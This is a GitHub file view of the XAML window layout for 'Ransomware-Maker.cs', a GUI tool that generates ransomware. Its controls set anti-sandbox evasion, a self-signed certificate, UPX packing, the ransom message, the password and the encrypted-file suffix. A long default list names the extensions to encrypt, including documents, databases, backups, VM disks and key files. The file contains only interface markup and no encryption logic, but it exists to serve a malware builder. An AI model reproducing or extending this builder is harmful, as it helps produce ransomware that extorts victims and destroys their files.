-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathMainWindow.xaml
140 lines (139 loc) · 9.77 KB
/
MainWindow.xaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
<Window x:Class="Ransomware_Maker.cs.MainWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
mc:Ignorable="d"
Title="Ransomware-Maker.cs v1.2 by kaesinol" Height="405" Width="733">
<Grid HorizontalAlignment="Right" Width="713" RenderTransformOrigin="0.219,0.226" Height="369" VerticalAlignment="Center" Margin="0,0,10,0">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="21*"/>
<ColumnDefinition Width="2*"/>
</Grid.ColumnDefinitions>
<GroupBox HorizontalAlignment="Left" Height="195" Header="Setting" Margin="10,0,0,0" VerticalAlignment="Top" Width="225">
<StackPanel HorizontalAlignment="Left" Height="164" Margin="10,0,0,0" VerticalAlignment="Top" Width="199">
<CheckBox x:Name="chk_resize" Content="Reduce program size" Height="20" Width="180" HorizontalAlignment="Left" FontSize="16">
<CheckBox.ToolTip>
<ToolTip>
<TextBlock Text="Use compiler additional options to reduce generated size"/>
</ToolTip>
</CheckBox.ToolTip>
</CheckBox>
<CheckBox x:Name="chk_trap" Content="Anti ransom trap" Height="20" Width="180" FontSize="16" HorizontalAlignment="Left">
<CheckBox.ToolTip>
<ToolTip>
<TextBlock Text="Detect and skip suspicious files"/>
</ToolTip>
</CheckBox.ToolTip>
</CheckBox>
<CheckBox x:Name="chk_sandbox" Content="Anti sandbox" Height="20" Width="178" HorizontalAlignment="Left" FontSize="16">
<CheckBox.ToolTip>
<ToolTip>
<TextBlock Text="Slows down and hinders running in the sandbox"/>
</ToolTip>
</CheckBox.ToolTip>
</CheckBox>
<CheckBox x:Name="chk_sign" Content="Self-signed certificate" Height="20" Width="191" HorizontalAlignment="Left" FontSize="16">
<CheckBox.ToolTip>
<ToolTip>
<TextBlock Text="Insert untrusted signing certificate"/>
</ToolTip>
</CheckBox.ToolTip>
</CheckBox>
<CheckBox x:Name="chk_upx" Content="UPX compression" Height="20" Width="191" HorizontalAlignment="Left" FontSize="16" Checked="chk_upx_Checked">
<CheckBox.ToolTip>
<ToolTip>
<TextBlock Text="Use upx to compress programs
UPX.exe needs to be placed in the program directory"/>
</ToolTip>
</CheckBox.ToolTip>
</CheckBox>
<Label x:Name="lbl_open_source" Content="open source repository" Height="38" Width="205" FontFamily="Consolas" RenderTransformOrigin="0.486,0.993" FontSize="16" MouseDown="Lbl_open_source_MouseDown" Margin="0,40,0,0">
<Label.Style>
<Style TargetType="Label">
<Setter Property="Foreground" Value="#FF0A3C00"/>
<Setter Property="Cursor" Value="Arrow"/>
<Style.Triggers>
<Trigger Property="IsMouseOver" Value="True">
<Setter Property="Foreground" Value="Red"/>
<Setter Property="Cursor" Value="Hand"/>
</Trigger>
</Style.Triggers>
</Style>
</Label.Style>
<Label.ToolTip>
<ToolTip>
<TextBlock Text="The GitHub repository"/>
</ToolTip>
</Label.ToolTip>
</Label>
</StackPanel>
</GroupBox>
<GroupBox HorizontalAlignment="Left" Height="195" Header="Type" Margin="240,0,0,0" VerticalAlignment="Top" Width="463" Grid.ColumnSpan="2">
<Grid HorizontalAlignment="Left" Height="185" Margin="10,0,0,0" VerticalAlignment="Top" Width="434">
<Grid.RowDefinitions>
<RowDefinition Height="103*"/>
<RowDefinition Height="10*"/>
<RowDefinition Height="72.806"/>
</Grid.RowDefinitions>
<RadioButton x:Name="rdb_cs" Content="C#" HorizontalAlignment="Left" Height="21" Margin="28,2,0,0" VerticalAlignment="Top" Width="129" IsChecked="False" Checked="Rdb_cs_Checked" Loaded="Rdb_cs_Loaded">
<RadioButton.ToolTip>
<ToolTip>
<TextBlock Text="Use C# language (csc.exe)"/>
</ToolTip>
</RadioButton.ToolTip>
</RadioButton>
<RadioButton x:Name="rdb_cpp" Content="C++" HorizontalAlignment="Left" Height="25" Margin="256,0,0,0" VerticalAlignment="Top" Width="110" RenderTransformOrigin="0.782,0.843" Checked="Rdb_cpp_Checked">
<RadioButton.ToolTip>
<ToolTip>
<TextBlock Text="Use C++ language (gcc.exe)"/>
</ToolTip>
</RadioButton.ToolTip>
</RadioButton>
<TextBox x:Name="tbox_warning" HorizontalAlignment="Center" Height="43" Margin="0,19,0,0" TextWrapping="Wrap" Text="warning content" VerticalAlignment="Top" Width="414" FontSize="16">
<TextBox.ToolTip>
<ToolTip>
<TextBlock Text="The content of the warning after the virus encryption is completed"/>
</ToolTip>
</TextBox.ToolTip>
</TextBox>
<TextBox x:Name="tbox_password" HorizontalAlignment="Left" Height="38" Margin="10,64,0,0" TextWrapping="Wrap" Text="password" VerticalAlignment="Top" Width="294" FontSize="16" Grid.RowSpan="3">
<TextBox.ToolTip>
<ToolTip>
<TextBlock Text="Ransomware password"/>
</ToolTip>
</TextBox.ToolTip>
</TextBox>
<TextBox x:Name="tbox_suffix" HorizontalAlignment="Left" Height="38" Margin="304,64,0,0" TextWrapping="Wrap" Text=".suffix" VerticalAlignment="Top" Width="120" FontSize="16">
<TextBox.ToolTip>
<ToolTip>
<TextBlock Text="Encrypted file suffix"/>
</ToolTip>
</TextBox.ToolTip>
</TextBox>
<TextBox x:Name="tbox_suffix_list" ScrollViewer.HorizontalScrollBarVisibility="Disabled" ScrollViewer.VerticalScrollBarVisibility="Auto" HorizontalAlignment="Center" Height="55" Margin="0,9,0,0" TextWrapping="Wrap" Text=".docb,.docm,.dot,.dotm,.dotx,.xlsm,.xlsb,.xlw,.xlt,.xlm,.xlc,.xltx,.xlt.m,.pptm,.pot,.pps,.ppsm,.ppsx,.ppam,.potx,.potm,.edb,.hwp,.602,.sxi,.sti,.sldx,.sldm,.sldm,.vdi,.vmdk,.vmx,.gpg,.aes,.arc,.paq,.bz2,.tbk,.bak,.tar,.tgz,.gz,.7z,.rar ,.zip,.backup,.iso,.vcd,.bmp,.png,.gif,.raw,.cgm,.tif,.tiff,.nef,.psd,.ai,.svg,.djvu,.m4u,.m3u,.mid,.wma,.flv,.3g2,.mkv ,.3gp,.mp4,.mov,.avi,.asf,.mpeg,.vob,.mpg,.wmv,.fla,.swf,.wav,.mp3,.sh,.class,.jar,.java,.rb,.asp,.php,.jsp,.brd,.sch,.dch,.dip,.pl,.vb,.vbs,.ps1,.bat,.cmd,.js,.asm,.h,.pas,.cpp,.c,.cs,.suo,.sln,.ldf,.mdf,.ibd,.myi,.myd,.frm,.odb,.dbf,.db,.mdb,.accdb,.sql,.sqlitedb,.sqlite3,.asc,.lay6,.lay,.mml,.sxm,.otg,.odg,.uop,.std,.sxd,.otp,.odp,.wb2,.slk,.dif,.stc,.sxc,.ots,.ods,.3dm,.max,.3ds,.uot,.stw,.sxw,.ott,.odt,.pem,.p12,.csr,.crt,.key,.pfx" VerticalAlignment="Top" Width="414" FontSize="18" Grid.Row="1" Grid.RowSpan="2" FontFamily="Consolas">
<TextBox.ToolTip>
<ToolTip>
<TextBlock Text="List of suffixes encrypted by ransomware"/>
</ToolTip>
</TextBox.ToolTip>
</TextBox>
</Grid>
</GroupBox>
<Button x:Name="btn_generate" Content="GENERATE" HorizontalAlignment="Left" Margin="10,200,0,0" Width="693" FontFamily="Arial Black" FontSize="36" Height="112" VerticalAlignment="Top" Grid.ColumnSpan="2" Click="Btn_generate_Click"/>
<Label x:Name="lbl_compiler" Content="" HorizontalAlignment="Center" Margin="0,330,0,-3" Width="611" FontFamily="Comic Sans MS" FontSize="14" MouseDown="Lbl_compiler_MouseDown">
<Label.Style>
<Style TargetType="Label">
<Setter Property="Foreground" Value="#FF0A3C00"/>
<Setter Property="Cursor" Value="Arrow"/>
<Style.Triggers>
<Trigger Property="IsMouseOver" Value="True">
<Setter Property="Foreground" Value="Red"/>
<Setter Property="Cursor" Value="Hand"/>
</Trigger>
</Style.Triggers>
</Style>
</Label.Style>
</Label>
<CheckBox x:Name="chk_64bit" Content="64bit" HorizontalAlignment="Left" Height="29" Margin="636,340,0,0" VerticalAlignment="Top" Width="67" RenderTransformOrigin="0.467,0.487" Grid.ColumnSpan="2" Checked="Chk_64bit_Checked" Unchecked="Chk_64bit_Unchecked" FontFamily="Comic Sans MS"/>
</Grid>
</Window>